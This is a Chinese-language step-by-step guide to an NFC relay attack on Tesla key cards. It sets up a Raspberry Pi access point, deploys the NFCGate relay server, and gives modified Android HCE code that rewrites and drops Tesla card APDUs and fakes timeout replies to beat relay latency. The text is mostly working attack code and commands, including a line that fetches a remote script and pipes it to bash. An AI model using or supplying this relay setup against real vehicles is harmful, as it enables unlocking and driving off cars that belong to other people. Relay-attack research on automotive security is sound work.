Tesla NFC无线中继测试

1. 树莓派3B无线AP配置

```
sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y
wget -q https://git.io/voEUQ -O /tmp/raspap && bash /tmp/raspap
sudo reboot
# IP 地址: 10.3.141.1
# 登录用户名: admin
# 登录密码: secret
# DHCP 范围: 10.3.141.50 至 10.3.141.255
# SSID: raspi-webgui
# WiFi 密码: ChangeMe
```

2. 服务端配置

```
cd ~/Downloads/
git clone https://github.com/nfcgate/server.git
sudo nano /etc/rc.local
# 在exit 0前添加一行，保存退出
python3 /home/pi/Downloads/server/server.py &
sudo reboot
```

3. nfc中继修改代码

```
git clone https://github.com/nfcgate/nfcgate.git
```

修改代码，安装到手机：

```
package de.tu_darmstadt.seemoo.nfcgate.nfc.hce;

import android.nfc.cardemulation.HostApduService;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.util.Log;

import java.util.Arrays;

import de.tu_darmstadt.seemoo.nfcgate.nfc.NfcManager;
import de.tu_darmstadt.seemoo.nfcgate.util.NfcComm;
import de.tu_darmstadt.seemoo.nfcgate.util.Utils;
```

```java
/**
 * The ApduService class contains the logic for interaction with the Android HCE interface.
 * Here, we receive messages from the card reader and pass them on to the NfcManager.
 */
public class ApduService extends HostApduService {
    private final static String TAG = "ApduService";
    private static final int TIMEOUTSWITCH = 1;
    private final static String NO_APPLET = "6d00";

    private NfcManager mNfcManager = NfcManager.getInstance();
    /**
     * 定时任务，超时回6d00
     */
    private int TIMEOUT = 3000;
    private Handler handler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            switch (msg.what) {
                case TIMEOUTSWITCH:
                    sendResponse(Utils.hexToByte(NO_APPLET));
                    break;
                default:
                    break;
            }
        }
    };

    /**
     * Returning an empty APDU response causes the hce service to wait
     */
    private final byte[] DONT_RESPOND = new byte[]{};

    public ApduService() {
        mNfcManager.setApduService(this);
    }

    /**
     * Callback from the hce service when a apdu from a reader is received
     *
     * @param apdu   apdu data received from hce service
     * @param extras not used
     * @return apdu to answer
     */
    @Override
    public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
        String hexApdu = Utils.bytesToHex(apdu);
        Log.d(TAG, "APDU-IN: " + hexApdu);


        /**
         * 比较数据，如果是00a404000af465736c614c6f676963
         * 修改为00a404000a7465736c614c6f676963
         */

        /**
         * 第二次收到74的消息，卡会回9000
         * 因为延时问题， 直接修改第一次消息为74消息，抛弃第二次收到的74消息
         *
         */

        byte[] replaceBytes =
Utils.hexToByte("00a404000a7465736c614c6f676963");
        boolean isSame74 = Arrays.equals(replaceBytes, apdu);
        if(isSame74){
            return DONT_RESPOND;
        }

        /**
         * 第一次收到f4消息，卡会直接会6d00
         * 因为延时的问题，直接修改第一次消息为74消息
         * 因为延时，卡不能按时回消息，在ApduService中配置，延时10个s-block直接回
6d00
         * 正常情况下会收到74消息，因为已经修改了第一条消息，直接抛弃第二条74消息，等
待卡回复
         * 理论上可以争取到最大20个s-block时间
         */


        /**
         * 测试数据:
         * 00A404000E325041592E5359532E444446303100
         */

        replaceBytes = Utils.hexToByte("00a404000af465736c614c6f676963");

        boolean isSamef4 = Arrays.equals(replaceBytes, apdu);
        if (isSamef4) {
            apdu = Utils.hexToByte("00a404000a7465736c614c6f676963");
            // 定时任务
            handler.sendEmptyMessageDelayed(TIMEOUTSWITCH, TIMEOUT);
        }

        // Package the ADPU into a NfcComm object
        NfcComm nfcdata = new NfcComm(false, false, apdu);
        // Send the object to the handler
        mNfcManager.handleData(false, nfcdata);

        // Tell the HCE implementation to wait
        return DONT_RESPOND;
    }

    @Override
    public void onDeactivated(int reason) {
        Log.i(TAG, "Deactivated: " + reason);
        mNfcManager.setApduService(null);
    }

    public void sendResponse(byte[] apdu) {
        Log.d(TAG, "APDU-OUT: " + Utils.bytesToHex(apdu));

        //添加超时开关
        handler.removeMessages(TIMEOUTSWITCH);
        sendResponseApdu(apdu);
    }
}
```

4. 配置手机端服务器地址

```
nfcgate-settings-Hostname
# 10.3.141.1
```

5. 尝试数据中继。